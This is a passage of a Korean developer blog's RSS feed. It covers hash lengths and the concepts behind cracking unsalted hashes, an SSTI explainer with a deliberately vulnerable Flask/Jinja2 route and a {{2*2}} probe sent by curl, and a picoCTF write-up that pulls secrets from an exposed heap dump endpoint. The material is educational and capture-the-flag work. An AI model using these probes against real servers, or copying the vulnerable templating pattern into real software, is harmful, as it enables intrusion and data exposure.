     BufferedWriter bufferedWriter = new BufferedWriter(fileWriter)) {
        
    bufferedWriter.write(&quot;아 배가 고파요....&quot;);
    bufferedWriter.newLine(); 
    bufferedWriter.write(&quot;월요일은 싫어요..........&quot;);
    bufferedWriter.newLine();
    bufferedWriter.write(&quot;치킨이 먹고 싶어요..........&quot;);

    System.out.println(&quot;텍스트 파일 작성 완료!&quot;);
} catch (IOException e) {
    e.printStackTrace();
}&lt;/code&gt;&lt;/pre&gt;</description>
      <category>Development/JAVA</category>
      <author>dukbong_dev</author>
      <guid isPermaLink="true">https://jangto.tistory.com/279</guid>
      <comments>https://jangto.tistory.com/entry/Java-IO-%EC%9E%91%EB%8F%99-%EC%9B%90%EB%A6%AC-HDD-%EA%B5%AC%EC%A1%B0%EB%B6%80%ED%84%B0-%EC%8B%9C%EC%9E%91%ED%95%98%EA%B8%B0#entry279comment</comments>
      <pubDate>Thu, 29 May 2025 22:27:16 +0900</pubDate>
    </item>
    <item>
      <title>[Hash Algorithm] 해시 길이 정리 (MD5, SHA-1, SHA-256, SHA-512)</title>
      <link>https://jangto.tistory.com/entry/Hash-Algorithm-%ED%95%B4%EC%8B%9C-%EA%B8%B8%EC%9D%B4-%EC%A0%95%EB%A6%AC-MD5-SHA-1-SHA-256-SHA-512</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;해킹/보안 공부나 인증 시스템 구현 시 자주 접하게 되는 해시 알고리즘의 해시 문자열(16진수)의 길이만 보고 어떤 알고리즘이 사용되었는지 추측할 수 있기 때문에 아래 내용을 정리해두었습니다.&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style12&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 25%; text-align: center;&quot;&gt;알고리즘 종류&lt;/td&gt;
&lt;td style=&quot;width: 25%; text-align: center;&quot;&gt;비트 수&lt;/td&gt;
&lt;td style=&quot;width: 25%; text-align: center;&quot;&gt;16 진수 길이&lt;/td&gt;
&lt;td style=&quot;width: 25%; text-align: center;&quot;&gt;Base 64 길이&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 25%; text-align: center;&quot;&gt;MD5&lt;/td&gt;
&lt;td style=&quot;width: 25%; text-align: center;&quot;&gt;128 bit&lt;/td&gt;
&lt;td style=&quot;width: 25%; text-align: center;&quot;&gt;32&lt;/td&gt;
&lt;td style=&quot;width: 25%; text-align: center;&quot;&gt;22&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 25%; text-align: center;&quot;&gt;SHA-1&lt;/td&gt;
&lt;td style=&quot;width: 25%; text-align: center;&quot;&gt;160 bit&lt;/td&gt;
&lt;td style=&quot;width: 25%; text-align: center;&quot;&gt;40&lt;/td&gt;
&lt;td style=&quot;width: 25%; text-align: center;&quot;&gt;27&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 25%; text-align: center;&quot;&gt;SHA-256&lt;/td&gt;
&lt;td style=&quot;width: 25%; text-align: center;&quot;&gt;256 bit&lt;/td&gt;
&lt;td style=&quot;width: 25%; text-align: center;&quot;&gt;64&lt;/td&gt;
&lt;td style=&quot;width: 25%; text-align: center;&quot;&gt;43&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 25%; text-align: center;&quot;&gt;SHA-512&lt;/td&gt;
&lt;td style=&quot;width: 25%; text-align: center;&quot;&gt;512 bit&lt;/td&gt;
&lt;td style=&quot;width: 25%; text-align: center;&quot;&gt;128&lt;/td&gt;
&lt;td style=&quot;width: 25%; text-align: center;&quot;&gt;86&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;Salt 없는 Hash를 Crack하는 대표적인 방법&lt;/b&gt;&lt;/h3&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;1. 사전 공격 (Dictionary Attack)&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;미리 준비한 일반적으로 많이 쓰이는 비밀번호(평문) 목록을 가지고 공격 시점에서 각 평문을 해시화하여 대상 해시와 비교하는 방식입니다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;color: #409d00;&quot;&gt;구현이 단순하고 메모리 사용량이 적습니다.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: #409d00;&quot;&gt;사전에 잘 준비된 리스트일 경우 매우 빠르게 동작합니다.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;목록에 없는 경우는 절대 찾을 수 없습니다.&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;2. 무차별 대입 공격 (Brute Force Attack)&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;가능한 모든 문자 조합을 하나씩 해시화해서 대상 해시와 비교하는 방식입니다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;color: #409d00;&quot;&gt;이론적으로 모든 해시를 Crack 할 수 있습니다.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;시간과 연산 비용이 매우 크기 때문에 사실 상 불가능한 경우가 있습니다.&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;</description>
      <category>Development/개념 및 이론</category>
      <author>dukbong_dev</author>
      <guid isPermaLink="true">https://jangto.tistory.com/278</guid>
      <comments>https://jangto.tistory.com/entry/Hash-Algorithm-%ED%95%B4%EC%8B%9C-%EA%B8%B8%EC%9D%B4-%EC%A0%95%EB%A6%AC-MD5-SHA-1-SHA-256-SHA-512#entry278comment</comments>
      <pubDate>Mon, 26 May 2025 12:22:36 +0900</pubDate>
    </item>
    <item>
      <title>[A03:2021 &amp;ndash; Injection] SSTI (Server Side Template Injection) 취약점 분석</title>
      <link>https://jangto.tistory.com/entry/Jinja2-SSTI-Server-Side-Template-Injection-%EC%B7%A8%EC%95%BD%EC%A0%90-%EB%B6%84%EC%84%9D</link>
      <description>&lt;figure id=&quot;og_1748099155423&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;article&quot; data-og-title=&quot;[Web Hacking] picoCTF WebShell SSTI1&quot; data-og-description=&quot;평소 궁금했던 해킹을 공부하기 위해 OverTheWire Bandit 문제들을 끝내고, &amp;ldquo;그럼 이제 진짜 CTF를 한번 풀어보자&amp;rdquo; 싶어서 맨땅에 헤딩하듯 도전했습니다.1. 시작일단 문제를 열었더니 무슨 폼이 하&quot; data-og-host=&quot;jangto.tistory.com&quot; data-og-source-url=&quot;https://jangto.tistory.com/entry/Web-Hacking-picoCTF-WebShell-SSTI1&quot; data-og-url=&quot;https://jangto.tistory.com/entry/Web-Hacking-picoCTF-WebShell-SSTI1&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/g1qLj/hyYWWSe6YR/kwKbWfmBJBUQ712jiKw5nk/img.jpg?width=480&amp;amp;height=270&amp;amp;face=0_0_480_270,https://scrap.kakaocdn.net/dn/Lxqb3/hyYWUfQENJ/NMDkMvdkQG0Ts6ahCD6UJ1/img.jpg?width=480&amp;amp;height=270&amp;amp;face=0_0_480_270,https://scrap.kakaocdn.net/dn/ILHyN/hyYWVMARjX/uswKYGKMK0h71Xl2wDBsI1/img.png?width=1864&amp;amp;height=860&amp;amp;face=0_0_1864_860&quot;&gt;&lt;a href=&quot;https://jangto.tistory.com/entry/Web-Hacking-picoCTF-WebShell-SSTI1&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://jangto.tistory.com/entry/Web-Hacking-picoCTF-WebShell-SSTI1&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/g1qLj/hyYWWSe6YR/kwKbWfmBJBUQ712jiKw5nk/img.jpg?width=480&amp;amp;height=270&amp;amp;face=0_0_480_270,https://scrap.kakaocdn.net/dn/Lxqb3/hyYWUfQENJ/NMDkMvdkQG0Ts6ahCD6UJ1/img.jpg?width=480&amp;amp;height=270&amp;amp;face=0_0_480_270,https://scrap.kakaocdn.net/dn/ILHyN/hyYWVMARjX/uswKYGKMK0h71Xl2wDBsI1/img.png?width=1864&amp;amp;height=860&amp;amp;face=0_0_1864_860');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;[Web Hacking] picoCTF WebShell SSTI1&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;평소 궁금했던 해킹을 공부하기 위해 OverTheWire Bandit 문제들을 끝내고, &amp;ldquo;그럼 이제 진짜 CTF를 한번 풀어보자&amp;rdquo; 싶어서 맨땅에 헤딩하듯 도전했습니다.1. 시작일단 문제를 열었더니 무슨 폼이 하&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;jangto.tistory.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해당 CTF를 풀 때 사용했던 SSTI (Server Side Template Injection)에 대해 제대로 알아보겠습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;SSTI 취약점은 특히 동적 HTML 응답을 생성하는 서버 측 템플릿 기술에서 자주 발견됩니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해당 문제는 RCE &lt;span style=&quot;background-color: #ffffff; color: #001d35; text-align: start;&quot;&gt;(Remote Code Execution) 문제로 이어질 수 있기 때문에 강력한 취약점입니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래에 설명한 예시는 CTF에서 사용했을 것이라고 예상되는 Jinja2로 취약점을 재구성하여 왜 위험한지 알아보겠습니다.&lt;/p&gt;
&lt;pre id=&quot;code_1748101486899&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;@app.route(&quot;/kuku&quot;)
def greet():
    name = request.args.get(&quot;name&quot;, &quot;&quot;)
    template = f&quot;Hello {name}&quot; //  사용자 입력을 직접 f-string 포매팅합니다.
    return render_template_string(template) //  취약점 발생&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위 예시의 동작 흐름을 알아보겠습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;일반적인 시나리오&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;curl -g 'http://www.test.com/kuku?name=kururu'&lt;/li&gt;
&lt;li&gt;name 변수에 &quot;kururu&quot;라는 문자열이 할당됩니다.&lt;/li&gt;
&lt;li&gt;template 변수에는 &quot;Hello kururu&quot;라는 문자열이 할당됩니다.&lt;/li&gt;
&lt;li&gt;render_template_string() 함수를 호출하여 Jinja2가 렌더링 후 화면에 출력해 줍니다.&lt;/li&gt;
&lt;li&gt;화면에는 Hello kururu라고 출력됩니다.&lt;/li&gt;
&lt;/ol&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;참고 사항&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;render_template_string()에 대해 좀 더 알아보겠습니다.&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;파싱
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;문자열을 Jinja2 문법에 따라 파싱 하여 템플릿 객체 생성합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;변수&amp;nbsp;바인딩&amp;nbsp;및&amp;nbsp;표현식&amp;nbsp;평가&lt;br /&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;{{ ...&amp;nbsp;}}&amp;nbsp;및&amp;nbsp;{% ...&amp;nbsp;%}&amp;nbsp;문법을&amp;nbsp;실행&amp;nbsp;가능한&amp;nbsp;코드로&amp;nbsp;처리합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;문자열 렌더링&amp;nbsp;&amp;nbsp;&lt;br /&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;치환된&amp;nbsp;문자열을&amp;nbsp;완성하여&amp;nbsp;HTML&amp;nbsp;등&amp;nbsp;응답&amp;nbsp;본문으로&amp;nbsp;반환합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;SSTI 공격 시나리오&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;curl -g 'http://www.test.com/kuku?name={{2*2}}'&lt;/li&gt;
&lt;li&gt;name 변수에 &quot;{{2*2}}&quot;라는 문자열이 할당됩니다.&lt;/li&gt;
&lt;li&gt;template 변수에는 &quot;Hello {{2*2}}&quot;라는 문자열이 할당됩니다.&lt;/li&gt;
&lt;li&gt;render_template_string() 함수를 호출하여 Jinja2가 렌더링 후 화면에 출력해 줍니다.&lt;/li&gt;
&lt;li&gt;화면에는 Hello 4라고 출력됩니다.&lt;/li&gt;
&lt;/ol&gt;</description>
      <category>Development/개념 및 이론</category>
      <category>jinja2</category>
      <category>SSTI</category>
      <category>취약점</category>
      <author>dukbong_dev</author>
      <guid isPermaLink="true">https://jangto.tistory.com/277</guid>
      <comments>https://jangto.tistory.com/entry/Jinja2-SSTI-Server-Side-Template-Injection-%EC%B7%A8%EC%95%BD%EC%A0%90-%EB%B6%84%EC%84%9D#entry277comment</comments>
      <pubDate>Sun, 25 May 2025 01:32:11 +0900</pubDate>
    </item>
    <item>
      <title>[Heap Dump Exposure] picoCTF WebShell head-dump</title>
      <link>https://jangto.tistory.com/entry/Web-Hacking-picoCTF-WebShell-head-dump</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;1. 탐색&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2714&quot; data-origin-height=&quot;1270&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/KrIQ1/btsOcaZ7fAX/jPg0fhSjnCAimBvuJzVjAk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/KrIQ1/btsOcaZ7fAX/jPg0fhSjnCAimBvuJzVjAk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/KrIQ1/btsOcaZ7fAX/jPg0fhSjnCAimBvuJzVjAk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FKrIQ1%2FbtsOcaZ7fAX%2FjPg0fhSjnCAimBvuJzVjAk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2714&quot; height=&quot;1270&quot; data-origin-width=&quot;2714&quot; data-origin-height=&quot;1270&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이번 사이트는 뭔가 이쁘다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;태그들도 다양하고 뭐 블로그 같은건가 보다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;일단 사진과 태그들을 클릭하며 뭐 이동 되는게 있나 보자.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;956&quot; data-origin-height=&quot;330&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/desZZe/btsObxVRNbE/o7xHZdKxXnRwE08pqIzRg0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/desZZe/btsObxVRNbE/o7xHZdKxXnRwE08pqIzRg0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/desZZe/btsObxVRNbE/o7xHZdKxXnRwE08pqIzRg0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdesZZe%2FbtsObxVRNbE%2Fo7xHZdKxXnRwE08pqIzRg0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;956&quot; height=&quot;330&quot; data-origin-width=&quot;956&quot; data-origin-height=&quot;330&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;984&quot; data-origin-height=&quot;338&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/d1VLkR/btsOb3fEq2J/fPsisQm0dDOkmq0f7MQWz0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/d1VLkR/btsOb3fEq2J/fPsisQm0dDOkmq0f7MQWz0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/d1VLkR/btsOb3fEq2J/fPsisQm0dDOkmq0f7MQWz0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fd1VLkR%2FbtsOb3fEq2J%2FfPsisQm0dDOkmq0f7MQWz0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;984&quot; height=&quot;338&quot; data-origin-width=&quot;984&quot; data-origin-height=&quot;338&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;뭐 왠만한건 다 그냥 HOME 처럼 메인 화면만 나온다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그러다 #API Documentation 태그를 클릭하니 아래와 같은 사이트가 나왔다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2060&quot; data-origin-height=&quot;582&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/XczF0/btsOaeQ53fY/KD5zoGqrJiDyJu8KcsD7o1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/XczF0/btsOaeQ53fY/KD5zoGqrJiDyJu8KcsD7o1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/XczF0/btsOaeQ53fY/KD5zoGqrJiDyJu8KcsD7o1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FXczF0%2FbtsOaeQ53fY%2FKD5zoGqrJiDyJu8KcsD7o1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2060&quot; height=&quot;582&quot; data-origin-width=&quot;2060&quot; data-origin-height=&quot;582&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이건 개발 업무 할때 자주 보던 API 문서다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2780&quot; data-origin-height=&quot;1246&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/LEEo5/btsObx9p09p/tTI06Dcw9R5c5NqCSq5AfK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/LEEo5/btsObx9p09p/tTI06Dcw9R5c5NqCSq5AfK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/LEEo5/btsObx9p09p/tTI06Dcw9R5c5NqCSq5AfK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FLEEo5%2FbtsObx9p09p%2FtTI06Dcw9R5c5NqCSq5AfK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2780&quot; height=&quot;1246&quot; data-origin-width=&quot;2780&quot; data-origin-height=&quot;1246&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이렇게 다양한 End Point가 존재한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;뭐 /, /about, /service는 위에서 이미 클릭하며 봤던거다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;834&quot; data-origin-height=&quot;244&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/EEeLE/btsObHqmEZC/nrmIhorzoeT1TVQvJ1ByN1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/EEeLE/btsObHqmEZC/nrmIhorzoeT1TVQvJ1ByN1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/EEeLE/btsObHqmEZC/nrmIhorzoeT1TVQvJ1ByN1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FEEeLE%2FbtsObHqmEZC%2FnrmIhorzoeT1TVQvJ1ByN1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;834&quot; height=&quot;244&quot; data-origin-width=&quot;834&quot; data-origin-height=&quot;244&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;문제를 보면 서버 메모리를 담고 있는 파일에 플래그가 숨겨져 있다.&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;2. 풀이&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;바로 /heapdump를 확인해 보자.&lt;/p&gt;
&lt;pre id=&quot;code_1747993137793&quot; class=&quot;shell&quot; data-ke-language=&quot;shell&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;$ file heapdump-1747991919012.heapsnapshot 
heapdump-1747991919012.heapsnapshot: ASCII text, with very long lines (826)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 안에 숨겨져 있으니 826줄 읽으면 통과할 수는 있을거 같다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;어떻게 되어있나 보려고 cat 명령어 하는 순간 이건 못읽겠다는 생각밖에 안든다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그럼 grep으로 원하는거만 찾자.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1545&quot; data-origin-height=&quot;506&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/pV8xh/btsObEmWU4g/os3KtChvodsyN2ryU0lFX1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/pV8xh/btsObEmWU4g/os3KtChvodsyN2ryU0lFX1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/pV8xh/btsObEmWU4g/os3KtChvodsyN2ryU0lFX1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FpV8xh%2FbtsObEmWU4g%2Fos3KtChvodsyN2ryU0lFX1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1545&quot; height=&quot;506&quot; data-origin-width=&quot;1545&quot; data-origin-height=&quot;506&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;grep flag 만 했는데 이렇게 어지럽다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그래도 자세히 보니 정답으로 쓸만한 picoCTF{} 가 없다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이번에는 grep picoCTF로 검색했는데 비슷하다고 생각하는 찰라 비밀번호를 찾았다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;842&quot; data-origin-height=&quot;184&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bFrIld/btsN9FOIXTt/38hknWfJLypHHkzfjFPec1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bFrIld/btsN9FOIXTt/38hknWfJLypHHkzfjFPec1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bFrIld/btsN9FOIXTt/38hknWfJLypHHkzfjFPec1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbFrIld%2FbtsN9FOIXTt%2F38hknWfJLypHHkzfjFPec1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;842&quot; height=&quot;184&quot; data-origin-width=&quot;842&quot; data-origin-height=&quot;184&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;</description>
      <category>Development/CTF 문제 풀이</category>
      <category>heapdump</category>
      <category>picoCTF</category>
      <category>webhacking</category>
      <author>dukbong_dev</author>
      <guid isPermaLink="true">https://jangto.tistory.com/276</guid>
      <comments>https://jangto.tistory.com/entry/Web-Hacking-picoCTF-WebShell-head-dump#entry276comment</comments>
      <pubDate>Fri, 23 May 2025 18:51:05 +0900</pubDate>
    </item>
    <item>
      <title>[Web Hacking] picoCTF WebShell n0s4n1ty 1</title>
      <link>https://jangto.tistory.com/entry/Web-Hacking-picoCTF-WebShell-n0s4n1ty-1</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;1. 시작&lt;/b&gt;&lt;/h2&gt;
